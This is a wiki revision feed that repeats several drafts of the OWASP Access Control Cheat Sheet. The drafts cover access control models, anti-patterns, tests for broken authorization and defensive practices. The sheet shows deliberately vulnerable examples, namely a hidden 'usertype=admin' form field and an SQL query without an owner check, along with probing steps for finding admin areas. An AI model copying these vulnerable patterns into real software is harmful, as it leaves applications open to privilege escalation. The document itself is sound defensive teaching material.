'''Discretioinary Access Control (DAC)''' Discretionary Access Control (DAC) is a means of restricting access to information based on the identity of users and/or membership in certain groups. Access decisions are typically based on the authorizations granted to a user based on the credentials he presented at the time of authentication (user name, password, hardware/software token, etc.). In most typical DAC models, the owner of information or any resource is able to change its permissions at his discretion (thus the name). DAC has the drawback of the administrators not being able to centrally manage these permissions on files/information stored on the web server. A DAC access control model often exhibits one or more of the following attributes.&lt;br /&gt;
*Data Owners can transfer ownership of information to other users &lt;br /&gt;
*Data Owners can determine the type of access given to other users (read, write, copy, etc.) &lt;br /&gt;
*Repetitive authorization failures to access the same resource or object generates an alarm and/or restricts the user's access&lt;br /&gt;
*Special add-on or plug-in software required to apply to an HTTP client to prevent indiscriminant copying by users (&amp;quot;cutting and pasting&amp;quot; of information) &lt;br /&gt;
*Users who do not have access to information should not be able to determine its characteristics (file size, file name, directory path, etc.) &lt;br /&gt;
*Access to information is determined based on authorizations to access control lists based on user identifier and group membership.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mandatory Access Control (MAC)''' Mandatory Access Control (MAC) ensures that the enforcement of organizational security policy does not rely on voluntary web application user compliance. MAC secures information by assigning sensitivity labels on information and comparing this to the level of sensitivity a user is operating at. In general, MAC access control mechanisms are more secure than DAC yet have trade offs in performance and convenience to users. MAC mechanisms assign a security level to all information, assign a security clearance to each user, and ensure that all users only have access to that data for which they have a clearance. MAC is usually appropriate for extremely secure systems including multilevel secure military applications or mission critical data applications. A MAC access control model often exhibits one or more of the following attributes.&lt;br /&gt;
*Only administrators, not data owners, make changes to a resource's security label. &lt;br /&gt;
*All data is assigned security level that reflects its relative sensitivity, confidentiality, and protection value.&lt;br /&gt;
*All users can read from a lower classification than the one they are granted (A &amp;quot;secret&amp;quot; user can read an unclassified document).&lt;br /&gt;
*All users can write to a higher classification (A &amp;quot;secret&amp;quot; user can post information to a Top Secret resource). &lt;br /&gt;
*All users are given read/write access to objects only of the same classification (a &amp;quot;secret&amp;quot; user can only read/write to a secret document).&lt;br /&gt;
*Access is authorized or restricted to objects based on the time of day depending on the labeling on the resource and the user's credentials (driven by policy). &lt;br /&gt;
*Access is authorized or restricted to objects based on the security characteristics of the HTTP client (e.g. SSL bit length, version information, originating IP address or domain, etc.) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Attacks on Access Control=&lt;br /&gt;
&lt;br /&gt;
Vertical Access Control Attacks - A standard user accessing administration functionality&lt;br /&gt;
&lt;br /&gt;
Horizontal Access Control attacks - Same role, but accessing another user's private data&lt;br /&gt;
&lt;br /&gt;
Business Logic Access Control Attacks - Abuse of one or more linked activities that collectively realize a business objective&lt;br /&gt;
&lt;br /&gt;
=Access Control Issues=&lt;br /&gt;
*Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
&lt;br /&gt;
*Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
**Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
**Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
	&lt;br /&gt;
*Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
&lt;br /&gt;
*Many administrative interfaces require only a password for authentication&lt;br /&gt;
*Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
*Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
*Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
*Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
*Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
*Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
	&lt;br /&gt;
     &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
     &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
     &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Access Control Anti-Patterns=&lt;br /&gt;
&lt;br /&gt;
*Hard-coded role checks in application code&lt;br /&gt;
*Lack of centralized access control logic&lt;br /&gt;
*Untrusted data driving access control decisions&lt;br /&gt;
*Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
*Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
*Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
*non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
*No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
==Hard Coded Roles==&lt;br /&gt;
&lt;br /&gt;
  if (user.isManager() ||&lt;br /&gt;
      user.isAdministrator() ||&lt;br /&gt;
      user.isEditor() ||&lt;br /&gt;
      user.isUser()) {&lt;br /&gt;
      //execute action&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
'''Hard Codes Roles can create several issues including:'''&lt;br /&gt;
&lt;br /&gt;
*Making the policy of an application difficult to &amp;quot;prove&amp;quot; for audit or Q/A purposes &lt;br /&gt;
*Causing new code to be pushed each time an access control policy needs to be changed. &lt;br /&gt;
*They are fragile and easy to make mistakes&lt;br /&gt;
&lt;br /&gt;
==Order Specific Operations==&lt;br /&gt;
&lt;br /&gt;
Imagine the following parameters&lt;br /&gt;
&lt;br /&gt;
  http://example.com/buy?action=chooseDataPackage&lt;br /&gt;
  http://example.com/buy?action=customizePackage&lt;br /&gt;
  http://example.com/buy?action=makePayment&lt;br /&gt;
  http://example.com/buy?action=downloadData&lt;br /&gt;
&lt;br /&gt;
'''Can an attacker control the sequence?'''&lt;br /&gt;
&lt;br /&gt;
'''Can an attacker abuse this with concurency?'''&lt;br /&gt;
&lt;br /&gt;
==Never Depend on Untrusted Data==&lt;br /&gt;
&lt;br /&gt;
*Never trust user data for access control decisions&lt;br /&gt;
*Never make access control decisions in JavaScript&lt;br /&gt;
*Never depend on the order of values sent from the client&lt;br /&gt;
*Never make authorization decisions based solely on&lt;br /&gt;
**hidden fields&lt;br /&gt;
**cookie values&lt;br /&gt;
**form parameters&lt;br /&gt;
**URL parameters&lt;br /&gt;
**anything else from the request&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Attacking Access Controls=&lt;br /&gt;
&lt;br /&gt;
*Elevation of privileges&lt;br /&gt;
*Disclosure of confidential data - Compromising admin-level accounts often result in access to a user's confidential data&lt;br /&gt;
*Data tampering - Privilege levels do not distinguish users who can only view data and users permitted to modify data&lt;br /&gt;
&lt;br /&gt;
=Testing for Broken Access Control=&lt;br /&gt;
&lt;br /&gt;
*Attempt to access administrative components or functions as an anonymous or regular user&lt;br /&gt;
**Scour HTML source for “interesting” hidden form fields&lt;br /&gt;
**Test web accessible directory structure for names like admin, administrator, manager, etc (i.e. attempt to directly browse to “restricted” areas)&lt;br /&gt;
*Determine how administrators are authenticated. Ensure that adequate authentication is used and enforced&lt;br /&gt;
*For each user role, ensure that only the appropriate pages or components are accessible for that role.&lt;br /&gt;
*Login as a low-level user, browse history for a higher level user’s cache, load the page to see if the original authorization is passed to a previous session.&lt;br /&gt;
*If able to compromise administrator-level account, test for all other common web application vulnerabilities (poor input validation, privileged database access, etc)&lt;br /&gt;
&lt;br /&gt;
=Defenses Against Access Control Attacks=&lt;br /&gt;
&lt;br /&gt;
*Implement role based access control to assign permissions to application users for vertical access control requirements&lt;br /&gt;
*Implement data-contextual access control to assign permissions to application users in the context of specific data items for horizontal access control requirements&lt;br /&gt;
*Avoid assigning permissions on a per-user basis&lt;br /&gt;
*Perform consistent authorization checking routines on all application pages&lt;br /&gt;
*Where applicable, apply DENY privileges last, issue ALLOW privileges on a case-by-case basis&lt;br /&gt;
*Where possible restrict administrator access to machines located on the local area network (i.e. it’s best to avoid remote administrator access from public facing access points)&lt;br /&gt;
*Log all failed access authorization requests to a secure location for review by administrators&lt;br /&gt;
*Perform reviews of failed login attempts on a periodic basis&lt;br /&gt;
*Utilize the strengths and functionality provided by the SSO solution you chose&lt;br /&gt;
&lt;br /&gt;
'''Java'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
if ( authenticated ) {&lt;br /&gt;
&lt;br /&gt;
	request.getSession(true).setValue(“AUTHLEVEL”) = X_USER;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''.NET (C#)'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
if ( authenticated ) {&lt;br /&gt;
&lt;br /&gt;
	Session[“AUTHLEVEL”] = X_USER;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''PHP'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
if ( authenticated ) {&lt;br /&gt;
&lt;br /&gt;
	$_SESSION[‘authlevel’] = X_USER; 	// X_USER is defined elsewhere as meaning, the user is authorized&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Best Practices=&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Code to the Activity==&lt;br /&gt;
&lt;br /&gt;
   if (AC.hasAccess(ARTICLE_EDIT)) {&lt;br /&gt;
       //execute activity&lt;br /&gt;
   }&lt;br /&gt;
*Code it once, never needs to change again&lt;br /&gt;
*Implies policy is persisted/centralized in some way&lt;br /&gt;
*Avoid assigning permissions on a per-user basis&lt;br /&gt;
*Requires more design/work up front to get right&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Centralized ACL Controller==&lt;br /&gt;
&lt;br /&gt;
*Define a centralized access controller&lt;br /&gt;
      ACLService.isAuthorized(ACTION_CONSTANT)&lt;br /&gt;
      ACLService.assertAuthorized(ACTION_CONSTANT)&lt;br /&gt;
*Access control decisions go through these simple API’s&lt;br /&gt;
*Centralized logic to drive policy behavior and persistence&lt;br /&gt;
*May contain data-driven access control policy information&lt;br /&gt;
*Policy language needs to support ability to express both access rights and prohibitions&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Using a Centralized Access Controller==&lt;br /&gt;
&lt;br /&gt;
*In Presentation Layer&lt;br /&gt;
&lt;br /&gt;
       if (isAuthorized(VIEW_LOG_PANEL))&lt;br /&gt;
       {&lt;br /&gt;
          Here are the logs&lt;br /&gt;
          &amp;lt;%=getLogs();%/&amp;gt;&lt;br /&gt;
       }&lt;br /&gt;
	&lt;br /&gt;
*In Controller&lt;br /&gt;
&lt;br /&gt;
       try (assertAuthorized(DELETE_USER))&lt;br /&gt;
       {&lt;br /&gt;
          deleteUser();&lt;br /&gt;
       }&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Verifying policy server-side==&lt;br /&gt;
&lt;br /&gt;
*Keep user identity verification in session&lt;br /&gt;
*Load entitlements server side from trusted sources&lt;br /&gt;
*Force authorization checks on ALL requests&lt;br /&gt;
**JS file, image, AJAX and FLASH requests as well!&lt;br /&gt;
**Force this check using a filter if possible&lt;br /&gt;
&lt;br /&gt;
=SQL Integrated Access Control=&lt;br /&gt;
&lt;br /&gt;
'''Example Feature'''&lt;br /&gt;
&lt;br /&gt;
    http://mail.example.com/viewMessage?msgid=2356342&lt;br /&gt;
&lt;br /&gt;
'''This SQL would be vulnerable to tampering'''&lt;br /&gt;
&lt;br /&gt;
  select * from messages where messageid = 2356342&lt;br /&gt;
&lt;br /&gt;
'''Ensure the owner is referenced in the query!'''&lt;br /&gt;
&lt;br /&gt;
  select * from messages where messageid = 2356342 AND messages.message_owner = &lt;br /&gt;
&lt;br /&gt;
=Access Control Positive Patterns=&lt;br /&gt;
&lt;br /&gt;
*Code to the activity, not the role&lt;br /&gt;
*Centralize access control logic&lt;br /&gt;
*Design access control as a filter&lt;br /&gt;
*Deny by default, fail securely&lt;br /&gt;
*Build centralized access control mechanism&lt;br /&gt;
*Apply same core logic to presentation and server-side access control decisions&lt;br /&gt;
*Determine access control through Server-side trusted data&lt;br /&gt;
&lt;br /&gt;
=Data Contextual Access Control=&lt;br /&gt;
&lt;br /&gt;
'''Data Contextual / Horizontal Access Control API examples'''&lt;br /&gt;
&lt;br /&gt;
    ACLService.isAuthorized(EDIT_ORG, 142)&lt;br /&gt;
    ACLService.assertAuthorized(VIEW_ORG, 900)&lt;br /&gt;
&lt;br /&gt;
Long Form&lt;br /&gt;
&lt;br /&gt;
    isAuthorized(user, EDIT_ORG, Organization.class, 14)&lt;br /&gt;
	&lt;br /&gt;
*Essentially checking if the user has the right role in the context of a specific object&lt;br /&gt;
*Centralize access control logic&lt;br /&gt;
*Protecting data at the lowest level!&lt;br /&gt;
&lt;br /&gt;
= Related Articles  =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
=Authors and Primary Editors=&lt;br /&gt;
&lt;br /&gt;
Jim Manico - jim [at] owasp dot org&lt;br /&gt;
Fred Donovan - fred.donovan [at] owasp dot org&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Access_Control_Cheat_Sheet&amp;diff=143306</id>
		<title>Access Control Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Access_Control_Cheat_Sheet&amp;diff=143306"/>
				<updated>2013-02-02T16:07:48Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
=Introduction=&lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, simple, actionable guidance for providing Access Control security in your applications.&lt;br /&gt;
&lt;br /&gt;
==What is Access Control / Authorization?==&lt;br /&gt;
&lt;br /&gt;
Authorization is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication - as these terms and their defininitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
Access Control is the method or mechanism of authorization to enfore that requests to a system resource or functionality should be granted.&lt;br /&gt;
&lt;br /&gt;
'''Role Based Access Control (RBAC)''' In Role-Based Access Control (RBAC), access decisions are based on an individual's roles and responsibilities within the organization or user base. The process of defining roles is usually based on analyzing the fundamental goals and structure of an organization and is usually linked to the security policy. For instance, in a medical organization, the different roles of users may include those such as doctor, nurse, attendant, nurse, patients, etc. Obviously, these members require different levels of access in order to perform their functions, but also the types of web transactions and their allowed context vary greatly depending on the security policy and any relevant regulations (HIPAA, Gramm-Leach-Bliley, etc.). &lt;br /&gt;
&lt;br /&gt;
An RBAC access control framework should provide web application security administrators with the ability to determine who can perform what actions, when, from where, in what order, and in some cases under what relational circumstances. http://csrc.nist.gov/rbac/ provides some great resources for RBAC implementation. The following aspects exhibit RBAC attributes to an access control model.&lt;br /&gt;
*Roles are assigned based on organizational structure with emphasis on the organizational security policy&lt;br /&gt;
*Roles are assigned by the administrator based on relative relationships within the organization or user base. For instance, a manager would have certain authorized transactions over his employees. An administrator would have certain authorized transactions over his specific realm of duties (backup, account creation, etc.) &lt;br /&gt;
*Each role is designated a profile that includes all authorized commands, transactions, and allowable information access.&lt;br /&gt;
*Roles are granted permissions based on the principle of least privilege.&lt;br /&gt;
*Roles are determined with a separation of duties in mind so that a developer Role should not overlap a QA tester Role.&lt;br /&gt;
*Roles are activated statically and dynamically as appropriate to certain relational triggers (help desk queue, security alert, initiation of a new project, etc.) &lt;br /&gt;
*Roles can be only be transferred or delegated using strict sign-offs and procedures.&lt;br /&gt;
*Roles are managed centrally by a security administrator or project leader&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
'''Discretioinary Access Control (DAC)''' is commonly used to manage permissions within an operating system.&lt;br /&gt;
&lt;br /&gt;
'''Mandatory Access Control (MAC)''' is a classification based system of objects and subjects. To &amp;quot;write up&amp;quot;, a subject's clearance level must be dominated by the object being written to the system. To &amp;quot;read down&amp;quot;, a subject's clearance level must govern the security level of the object being read. In this system, a subject may be able to write to an object, but will never be able to read it. This prevents malicious software from being able to leak data from different classification levels.  &amp;quot;Write up&amp;quot; prevents leakage from high to low. &lt;br /&gt;
(See the [http://csrc.nist.gov/publications/history/dod85.pdf Orange Book] for more information about classification levels and confidentiality controls in &amp;quot;DAC&amp;quot; and &amp;quot;MAC&amp;quot;.)&lt;br /&gt;
&lt;br /&gt;
=Attacks on Access Control=&lt;br /&gt;
&lt;br /&gt;
Vertical Access Control Attacks - A standard user accessing administration functionality&lt;br /&gt;
&lt;br /&gt;
Horizontal Access Control attacks - Same role, but accessing another user's private data&lt;br /&gt;
&lt;br /&gt;
Business Logic Access Control Attacks - Abuse of one or more linked activities that collectively realize a business objective&lt;br /&gt;
&lt;br /&gt;
=Access Control Issues=&lt;br /&gt;
*Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
&lt;br /&gt;
*Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
**Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
**Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
	&lt;br /&gt;
*Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
&lt;br /&gt;
*Many administrative interfaces require only a password for authentication&lt;br /&gt;
*Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
*Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
*Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
*Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
*Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
*Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
	&lt;br /&gt;
     &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
     &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
     &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Access Control Anti-Patterns=&lt;br /&gt;
&lt;br /&gt;
*Hard-coded role checks in application code&lt;br /&gt;
*Lack of centralized access control logic&lt;br /&gt;
*Untrusted data driving access control decisions&lt;br /&gt;
*Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
*Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
*Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
*non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
*No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
==Hard Coded Roles==&lt;br /&gt;
&lt;br /&gt;
  if (user.isManager() ||&lt;br /&gt;
      user.isAdministrator() ||&lt;br /&gt;
      user.isEditor() ||&lt;br /&gt;
      user.isUser()) {&lt;br /&gt;
      //execute action&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
'''Hard Codes Roles can create several issues including:'''&lt;br /&gt;
&lt;br /&gt;
*Making the policy of an application difficult to &amp;quot;prove&amp;quot; for audit or Q/A purposes &lt;br /&gt;
*Causing new code to be pushed each time an access control policy needs to be changed. &lt;br /&gt;
*They are fragile and easy to make mistakes&lt;br /&gt;
&lt;br /&gt;
==Order Specific Operations==&lt;br /&gt;
&lt;br /&gt;
Imagine the following parameters&lt;br /&gt;
&lt;br /&gt;
  http://example.com/buy?action=chooseDataPackage&lt;br /&gt;
  http://example.com/buy?action=customizePackage&lt;br /&gt;
  http://example.com/buy?action=makePayment&lt;br /&gt;
  http://example.com/buy?action=downloadData&lt;br /&gt;
&lt;br /&gt;
'''Can an attacker control the sequence?'''&lt;br /&gt;
&lt;br /&gt;
'''Can an attacker abuse this with concurency?'''&lt;br /&gt;
&lt;br /&gt;
==Never Depend on Untrusted Data==&lt;br /&gt;
&lt;br /&gt;
*Never trust user data for access control decisions&lt;br /&gt;
*Never make access control decisions in JavaScript&lt;br /&gt;
*Never depend on the order of values sent from the client&lt;br /&gt;
*Never make authorization decisions based solely on&lt;br /&gt;
**hidden fields&lt;br /&gt;
**cookie values&lt;br /&gt;
**form parameters&lt;br /&gt;
**URL parameters&lt;br /&gt;
**anything else from the request&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Attacking Access Controls=&lt;br /&gt;
&lt;br /&gt;
*Elevation of privileges&lt;br /&gt;
*Disclosure of confidential data - Compromising admin-level accounts often result in access to a user's confidential data&lt;br /&gt;
*Data tampering - Privilege levels do not distinguish users who can only view data and users permitted to modify data&lt;br /&gt;
&lt;br /&gt;
=Testing for Broken Access Control=&lt;br /&gt;
&lt;br /&gt;
*Attempt to access administrative components or functions as an anonymous or regular user&lt;br /&gt;
**Scour HTML source for “interesting” hidden form fields&lt;br /&gt;
**Test web accessible directory structure for names like admin, administrator, manager, etc (i.e. attempt to directly browse to “restricted” areas)&lt;br /&gt;
*Determine how administrators are authenticated. Ensure that adequate authentication is used and enforced&lt;br /&gt;
*For each user role, ensure that only the appropriate pages or components are accessible for that role.&lt;br /&gt;
*Login as a low-level user, browse history for a higher level user’s cache, load the page to see if the original authorization is passed to a previous session.&lt;br /&gt;
*If able to compromise administrator-level account, test for all other common web application vulnerabilities (poor input validation, privileged database access, etc)&lt;br /&gt;
&lt;br /&gt;
=Defenses Against Access Control Attacks=&lt;br /&gt;
&lt;br /&gt;
*Implement role based access control to assign permissions to application users for vertical access control requirements&lt;br /&gt;
*Implement data-contextual access control to assign permissions to application users in the context of specific data items for horizontal access control requirements&lt;br /&gt;
*Avoid assigning permissions on a per-user basis&lt;br /&gt;
*Perform consistent authorization checking routines on all application pages&lt;br /&gt;
*Where applicable, apply DENY privileges last, issue ALLOW privileges on a case-by-case basis&lt;br /&gt;
*Where possible restrict administrator access to machines located on the local area network (i.e. it’s best to avoid remote administrator access from public facing access points)&lt;br /&gt;
*Log all failed access authorization requests to a secure location for review by administrators&lt;br /&gt;
*Perform reviews of failed login attempts on a periodic basis&lt;br /&gt;
*Utilize the strengths and functionality provided by the SSO solution you chose&lt;br /&gt;
&lt;br /&gt;
'''Java'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
if ( authenticated ) {&lt;br /&gt;
&lt;br /&gt;
	request.getSession(true).setValue(“AUTHLEVEL”) = X_USER;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''.NET (C#)'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
if ( authenticated ) {&lt;br /&gt;
&lt;br /&gt;
	Session[“AUTHLEVEL”] = X_USER;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''PHP'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
if ( authenticated ) {&lt;br /&gt;
&lt;br /&gt;
	$_SESSION[‘authlevel’] = X_USER; 	// X_USER is defined elsewhere as meaning, the user is authorized&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Best Practices=&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Code to the Activity==&lt;br /&gt;
&lt;br /&gt;
   if (AC.hasAccess(ARTICLE_EDIT)) {&lt;br /&gt;
       //execute activity&lt;br /&gt;
   }&lt;br /&gt;
*Code it once, never needs to change again&lt;br /&gt;
*Implies policy is persisted/centralized in some way&lt;br /&gt;
*Avoid assigning permissions on a per-user basis&lt;br /&gt;
*Requires more design/work up front to get right&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Centralized ACL Controller==&lt;br /&gt;
&lt;br /&gt;
*Define a centralized access controller&lt;br /&gt;
      ACLService.isAuthorized(ACTION_CONSTANT)&lt;br /&gt;
      ACLService.assertAuthorized(ACTION_CONSTANT)&lt;br /&gt;
*Access control decisions go through these simple API’s&lt;br /&gt;
*Centralized logic to drive policy behavior and persistence&lt;br /&gt;
*May contain data-driven access control policy information&lt;br /&gt;
*Policy language needs to support ability to express both access rights and prohibitions&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Using a Centralized Access Controller==&lt;br /&gt;
&lt;br /&gt;
*In Presentation Layer&lt;br /&gt;
&lt;br /&gt;
       if (isAuthorized(VIEW_LOG_PANEL))&lt;br /&gt;
       {&lt;br /&gt;
          Here are the logs&lt;br /&gt;
          &amp;lt;%=getLogs();%/&amp;gt;&lt;br /&gt;
       }&lt;br /&gt;
	&lt;br /&gt;
*In Controller&lt;br /&gt;
&lt;br /&gt;
       try (assertAuthorized(DELETE_USER))&lt;br /&gt;
       {&lt;br /&gt;
          deleteUser();&lt;br /&gt;
       }&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Verifying policy server-side==&lt;br /&gt;
&lt;br /&gt;
*Keep user identity verification in session&lt;br /&gt;
*Load entitlements server side from trusted sources&lt;br /&gt;
*Force authorization checks on ALL requests&lt;br /&gt;
**JS file, image, AJAX and FLASH requests as well!&lt;br /&gt;
**Force this check using a filter if possible&lt;br /&gt;
&lt;br /&gt;
=SQL Integrated Access Control=&lt;br /&gt;
&lt;br /&gt;
'''Example Feature'''&lt;br /&gt;
&lt;br /&gt;
    http://mail.example.com/viewMessage?msgid=2356342&lt;br /&gt;
&lt;br /&gt;
'''This SQL would be vulnerable to tampering'''&lt;br /&gt;
&lt;br /&gt;
  select * from messages where messageid = 2356342&lt;br /&gt;
&lt;br /&gt;
'''Ensure the owner is referenced in the query!'''&lt;br /&gt;
&lt;br /&gt;
  select * from messages where messageid = 2356342 AND messages.message_owner = &lt;br /&gt;
&lt;br /&gt;
=Access Control Positive Patterns=&lt;br /&gt;
&lt;br /&gt;
*Code to the activity, not the role&lt;br /&gt;
*Centralize access control logic&lt;br /&gt;
*Design access control as a filter&lt;br /&gt;
*Deny by default, fail securely&lt;br /&gt;
*Build centralized access control mechanism&lt;br /&gt;
*Apply same core logic to presentation and server-side access control decisions&lt;br /&gt;
*Determine access control through Server-side trusted data&lt;br /&gt;
&lt;br /&gt;
=Data Contextual Access Control=&lt;br /&gt;
&lt;br /&gt;
'''Data Contextual / Horizontal Access Control API examples'''&lt;br /&gt;
&lt;br /&gt;
    ACLService.isAuthorized(EDIT_ORG, 142)&lt;br /&gt;
    ACLService.assertAuthorized(VIEW_ORG, 900)&lt;br /&gt;
&lt;br /&gt;
Long Form&lt;br /&gt;
&lt;br /&gt;
    isAuthorized(user, EDIT_ORG, Organization.class, 14)&lt;br /&gt;
	&lt;br /&gt;
*Essentially checking if the user has the right role in the context of a specific object&lt;br /&gt;
*Centralize access control logic&lt;br /&gt;
*Protecting data at the lowest level!&lt;br /&gt;
&lt;br /&gt;
= Related Articles  =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
=Authors and Primary Editors=&lt;br /&gt;
&lt;br /&gt;
Jim Manico - jim [at] owasp dot org&lt;br /&gt;
Fred Donovan - fred.donovan [at] owasp dot org&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Access_Control_Cheat_Sheet&amp;diff=143305</id>
		<title>Access Control Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Access_Control_Cheat_Sheet&amp;diff=143305"/>
				<updated>2013-02-02T15:56:56Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
=Introduction=&lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, simple, actionable guidance for providing Access Control security in your applications.&lt;br /&gt;
&lt;br /&gt;
==What is Access Control / Authorization?==&lt;br /&gt;
&lt;br /&gt;
Authorization is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication - as these terms and their defininitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
Access Control is the method or mechanism of authorization to enfore that requests to a system resource or functionality should be granted.&lt;br /&gt;
&lt;br /&gt;
